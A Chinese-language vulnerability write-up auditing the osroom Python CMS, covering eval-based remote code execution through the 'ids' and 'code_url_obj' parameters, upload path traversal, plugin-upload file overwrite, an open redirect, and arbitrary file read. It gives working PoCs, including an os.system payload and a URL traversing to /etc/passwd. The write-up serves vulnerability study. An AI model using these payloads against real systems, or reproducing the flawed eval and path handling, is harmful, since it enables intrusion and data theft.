osroom

这个cms很有意思,从漏洞和程序的写法上,很适合用来入门学习,漏洞的一些形式相比来说,也比较多一点。

RCE

apps\utils\format\obj_format.py

如下,文件中采用了eval来转换字符串对象,当json.loads转换失败的时候,则直接使用eval来转换。

def json_to_pyseq(tjson):
    """
    json to python sequencer
    :param json:
    :return:
    """
    if tjson in [None, "None"]:
        return None
    elif not isinstance(tjson, (list, dict, tuple)) and tjson != "":
        if isinstance(tjson, (str, bytes)) and tjson[0] not in ["{", "[", "("]:
            return tjson
        elif isinstance(tjson, (int, float)):
            return tjson
        try:
            tjson = json.loads(tjson)
        except BaseException:
            tjson = eval(tjson)
        else:
            if isinstance(tjson, str):
                tjson = eval(tjson)
    return tjson

转到一个使用此方法的功能,例如apps\modules\audit\process\rules.py

删除规则处,传入一个ids参数,原参数值是一个hash值,但是可以修改为python代码。

def audit_rule_delete():

    ids = json_to_pyseq(request.argget.all('ids', []))
    if not isinstance(ids, list):
        ids = json.loads(ids)
    for i, tid in enumerate(ids):
        ids[i] = ObjectId(tid)

    r = mdbs["sys"].db.audit_rules.delete_many({"_id": {"$in": ids}})
    if r.deleted_count > 0:
        data = {"msg": gettext("Delete the success,{}").format(
            r.deleted_count), "msg_type": "s", "custom_status": 204}
    else:
        data = {
            "msg": gettext("Delete failed"),
            "msg_type": "w",
            "custom_status": 400}
    return data

参数POC: {123:__import__('os').system('whoami')},查看终端输出。

image-20201112124711645

image-20201112121033287

只要涉及到ids参数的都存在此问题,比如另一个类别删除功能。

image-20201112133809406

在用户登陆的判断中,也对传入的参数code_url_obj执行了此方法,所以存在一个前台的RCE

apps\modules\user\process\online.py

code_url_obj = json_to_pyseq(request.argget.all('code_url_obj', {}))

image-20201112162057637

文件覆盖

apps\utils\upload\file_up.py

ps: 此问题没有复现,理论上存在。

代码描述了一种上传typroa图像base64后处理来保存写入文件的方式,其中后缀是解析typroa图像base64开头得到,例如

data:image/jpg;base64,获得后缀为jpg,在后续的文件明拼接中,文件名被以时间戳和UUID重写构造,但是后缀可控,可以写入..\..\形式的遍历data:image/jpg\..\..\..\..\tmp;base64

def fileup_base_64(uploaded_files, file_name=None, prefix=""):
    """
     文件以base64编码上传上传
    :param uploaded_files: 数组
    :param bucket_var: 保存typroa图像服务器空间名的变量名, 如AVA_B
    :param file_name:
    :return:
    """
    if not uploaded_files:
        return None

    keys = []
    for file_base in uploaded_files:
        if file_base:
            # data:image/jpeg
            file_format = file_base.split(";")[0].split("/")[-1]
            imgdata = base64.b64decode(file_base.split(",")[-1])
            if file_name:
                filename = '{}.{}'.format(file_name, file_format)
            else:
                filename = '{}_{}.{}'.format(
                    time_to_utcdate(
                        time_stamp=time.time(),
                        tformat="%Y%m%d%H%M%S"),
                    uuid1(),
                    file_format)

传入后可以造成一种保存文件到其他目录的效果,这种遍历在Linux下是不允许的,但在Windows下可执行,win支持及../..\,还可以文件结尾的回退遍历,所以在Windows下可以造成覆写。

由于兼容性,Windows下有个别的包兼容有问题,并没有复现,附一张Linux的目录构造图

image-20201112155343443

上传文件覆盖

如果上面那个不是很清楚,这个就比较明显了,插件上传功能中。

apps\modules\plug_in_manager\process\manager.py

def upload_plugin():
    """
    插件上传
    :return:
    """

    file = request.files["upfile"]
    file_name = os.path.splitext(file.filename)         #('123','.zip')
    filename = os.path.splitext(file.filename)[0]         #123
    extension = file_name[1]                           #.zip
    if not extension.strip(".").lower() in ["zip"]:
        data = {"msg": gettext("File format error, please upload zip archive"),
                "msg_type": "w", "custom_status": 401}
        return data

    if not os.path.exists(PLUG_IN_FOLDER):            #osroom/apps/plugins
        os.makedirs(PLUG_IN_FOLDER)

    fpath = os.path.join(PLUG_IN_FOLDER, filename)   ##osroom/apps/plugins/123
    if os.path.isdir(fpath) or os.path.exists(fpath):
        if mdbs["sys"].db.plugin.find_one(
                {"plugin_name": filename, "is_deleted": {"$in": [0, False]}}):
            # 如果插件没有准备删除标志
            data = {"msg": gettext("The same name plugin already exists"),
                    "msg_type": "w", "custom_status": 403}
            return data
        else:
            # 否则清除旧的插件
            shutil.rmtree(fpath)
            mdbs["sys"].db.plugin.update_one({"plugin_name": filename}, {
                                         "$set": {"is_deleted": 0}})

    # 保存主题
    save_file = os.path.join("{}/{}".format(PLUG_IN_FOLDER, file.filename))     ##osroom/apps/plugins/123.zip
    file.save(save_file)

上传文件后分割文件和后缀,判断插件是否存在以及是否清理就插件,在下面保存的时候,直接使用了上传的参数名做拼接,导致可以被跨目录保存,比如文件应该保存到osroom/apps/plugins/下,上传如下

image-20201113142316180

我们在系统查看

image-20201113142402087

路径跳转

apps\modules\user\process\sign_in.py

ps:此问题影响较小,当作分析即可

在代码中存在一个获取值的参数next,这个参数是登陆的时候默认没有存在,可能是为了跳转登陆留下的参数。参数值为任意值的时候,返回的to_url的值就为参数值。

def p_sign_in(
        username,
        password,
        code_url_obj,
        code,
        remember_me,
        use_jwt_auth=0):
    """
    用户登录函数
    :param adm:
    :return:
    """
    data = {}
    if current_user.is_authenticated and username in [current_user.username,
                                                      current_user.email,
                                                      current_user.mphone_num]:
        data['msg'] = gettext("Is logged in")
        data["msg_type"] = "s"
        data["custom_status"] = 201
        data['to_url'] = request.argget.all(
            'next') or get_config("login_manager", "LOGIN_IN_TO")
        return data

然后在前端js中apps\admin_pages\pages\sign-in.html

直接获取响应的data的to_url进行跳转,类似于统一登陆中的任意域跳转的问题。

var result = osrHttp("PUT","/api/sign-in", d);
      result.then(function (r) {
             if(r.data.msg_type=="s"){
                 window.location.href = r.data/to_url;

             }else if(r.data.open_img_verif_code){
                 get_imgcode();
             }
      }).catch(function (r) {
         if(r.data.open_img_verif_code){
             get_imgcode();
         }
      });

任意文件读取

apps\modules\theme_setting\process\static_file.py

读取静态文件模板的时候,直接使用了请求的参数进行拼接访问,导致可以任意读取文件

def get_static_file_content():
    """
    获取静态文件内容, 如html文件
    :return:
    """
    filename = request.argget.all('filename', "index").strip("/")
    file_path = request.argget.all('file_path', "").strip("/")
    theme_name = request.argget.all("theme_name")

    s, r = arg_verify([(gettext("theme name"), theme_name)], required=True)
    if not s:
        return r
    path = os.path.join(
        THEME_TEMPLATE_FOLDER, theme_name)
    file = "{}/{}/{}".format(path, file_path, filename)
    if not os.path.exists(file) or THEME_TEMPLATE_FOLDER not in file:
        data = {"msg": gettext("File not found,'{}'").format(file),
                "msg_type": "w", "custom_status": 404}
    else:
        with open(file) as wf:
            content = wf.read()
        data = {
            "content": content,
            "file_relative_path": file_path.replace(
                path,
                "").strip("/")}
    return data

构造POC:http://192.168.120.128:5000/api/admin/static/file?file_path=pages/account/settings/../../../../../../../../etc&filename=passwd&theme_name=osr-theme-w

image-20201112174207578





# web安全   # python  

tocToc: